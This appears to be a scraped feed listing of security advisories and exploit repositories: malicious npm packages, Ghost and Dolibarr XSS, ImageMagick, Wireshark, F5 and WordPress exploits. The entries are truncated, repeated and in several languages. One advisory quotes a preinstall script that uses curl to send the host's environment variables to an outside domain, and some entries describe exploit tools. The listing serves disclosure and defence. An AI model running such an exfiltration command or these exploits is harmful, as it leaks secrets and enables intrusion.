MAL-2026-17652 Malicious code in @ziedzzz/demo-canary (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector e6350184f3eabc17d37726cdd71ea97666cef28b2e1c125cffeb56e7c474b8dd On npm install, the package's declared postinstall script executes index.js, which collects a host fingerprint hostname, username, home directory, cw...

MAL-2026-17653 Malicious code in abbishal-poc-as-dependency (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector bc0e1fb6fb8f481baf7c16b593aa342b3b63165f9e97e395ff49c4bed18dfa53 package.json declares a preinstall lifecycle script sh./test.sh. test.sh assembles a curl -d "$env" https://abbishal.com/sh/installation-success...

Malicious code in abbishal-poc-as-dependency (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector bc0e1fb6fb8f481baf7c16b593aa342b3b63165f9e97e395ff49c4bed18dfa53 package.json declares a preinstall lifecycle script sh./test.sh. test.sh assembles a curl -d "$env" https://abbishal.com/sh/installation-success...

dns-zone-audit

DNS ज़ोन ऑडिट DNS ज़ोन ट्रांसफ़र गलत कॉन्फ़िगरेशन AXFR के परीक्षण के लिए एक हल्का Bash-आधारित सुरक्षा उपकरण, जो CVE-1999-0532 से संबंधित है। यह स्क्रिप्ट किसी डोमेन के लिए आधिकारिक नेम सर्वरों से पूछताछ करती है और पूर्ण ज़ोन ट्रांसफ़र का प्रयास करती है। यदि सफल होता है, तो यह एक गंभीर DNS गलत...

Dolibarr <7.0.2 - Cross-Site Scripting

Dolibarr before 7.0.2 is vulnerable to cross-site scripting and allows remote attackers to inject arbitrary web script or HTML via the foruserlogin parameter to adherents/cartes/carte.php. id: CVE-2018-10095 info: name: Dolibarr 7.0.2 - Cross-Site Scripting author: pikpikcu severity: medium...

CVE-2022-1388-F5-BIG-IP

CVE-2022-1388-F5-BIG-IP उसी निर्देशिका में target.txt रखें और सीधे निष्पादित करें।...

CLEANSTART-2026-OX66799 If a trusted template author were to write a <script> tag containing an empty 'type' attribute or a 'type' attribute with an ASCII whitespace, the execution of the template would incorrectly escape...

CVE-2026-39826 affects multiple packages. If a trusted template author were to write a tag containing an empty 'type' attribute or a 'type' attribute with an ASCII whitespace, the execution of the template would incorrectly escape any data passed into the block. See references for individual...

PT-2026-107976

ImageMagick before 7.1.2-31 contains a resource leak vulnerability that allows attackers to leave file pointers open by supplying a crafted magick script. Attackers can process malicious magick scripts to leak file descriptors, potentially exhausting resources and causing denial of service...

Wireshark 1.4.x < 1.4.9 Multiple Vulnerabilities (macOS)

The version of Wireshark installed on the remote macOS / Mac OS X host is prior to 1.4.9. It is, therefore, affected by multiple vulnerabilities as referenced in the wireshark-1.4.9 advisory. - Wireshark 1.6.x before 1.6.2 allows remote attackers to cause a denial of service application crash via...

EUVD-2026-92633

Ghost : Stored XSS via SVG Files in Content Imports...

defender

🛡️ لينكس-دييفيندر.ش 📝 جدول المحتويات 📌 نظرة عامة 🚀 الميزات 🐧 التوزيعات المدعومة 📦 الأدوات المثبتة ⚙️ التثبيت البناء من المصدر عام 📦 تثبيت الحزمة حزمة دبيان .deb حزمة آرتش لينكس 🧰 تشغيل المدافع 🧾 الترخيص 🙋‍♂️ المؤلف ☕ الدعم والمساهمة 📌 نظرة عامة لينكس ديفيندر هو سكربت باش قوي وسهل الاستخدام مصمم...

Ghost: Stored XSS via SVG Uploads Bypassing Sanitization

Impact SVG media thumbnails, and SVG images uploaded with a non-SVG file extension, were stored without sanitization. This allowed any staff user, including Contributors, to host scripts on the site's domain, possibly resulting in compromise of other staff users' admin sessions. Vulnerable versio...

GHSA-8575-CR6V-7JH4 Ghost: Stored XSS via SVG Uploads Bypassing Sanitization

Impact SVG media thumbnails, and SVG images uploaded with a non-SVG file extension, were stored without sanitization. This allowed any staff user, including Contributors, to host scripts on the site's domain, possibly resulting in compromise of other staff users' admin sessions. Vulnerable versio...

EUVD-2026-92756

Ghost: Stored XSS via SVG Uploads Bypassing Sanitization...

EUVD-2026-92770

Ghost: Stored XSS via File Uploads on Local Storage...

CVE-2026-106575

A flaw was found in ImageMagick. An attacker could provide a specially crafted Magick script that fails to release opened file pointers during execution. Repeated processing of such scripts can exhaust available file descriptors system resources used to manage open files, resulting in a Denial of...

wp-CVE-2017-5487-exploit

वर्डप्रेस CVE-2017-5487 पायथन में शोषण उपयोग के उदाहरण: python3 krpexploit.py -h python3 krpexploit.py --url http://examplesite.com...

CVE-2018-1049-POC

यह Python स्क्रिप्ट CVE-2018-1049 के लिए Metasploit मॉड्यूल एक्सप्लॉइट का एक कस्टम पुनः कार्यान्वयन है, जो sudo के माध्यम से दुरुपयोग की गई एक Perl स्क्रिप्ट में विशेषाधिकार वृद्धि भेद्यता के माध्यम से VyOS Vyatta को लक्षित करता है। आपको वैध SSH क्रेडेंशियल्स की आवश्यकता है। आप sudo-अनुमत स्क्रिप...

CVE-2025-66177

⚠️ अस्वीकरण / दायित्व-मुक्ति स्पेनिश में: यह कोड और संबंधित सामग्री केवल शैक्षिक उद्देश्यों, सुरक्षा अनुसंधान और वैध, अधिकृत पेनिट्रेशन परीक्षण के लिए प्रदान की जाती है। सिस्टम स्वामी की पूर्व और स्पष्ट लिखित सहमति के बिना लक्ष्यों के विरुद्ध इस स्क्रिप्ट का उपयोग करना अवैध है और सख्ती से...

joern

Joern Query Database "Joern-Scan" This is the central query database for the open-source code analysis platform Joern. It has two purposes: It provides the batteries required to turn Joern into a ready-to-run code scanning tool. Its queries serve as examples useful for those looking to write thei...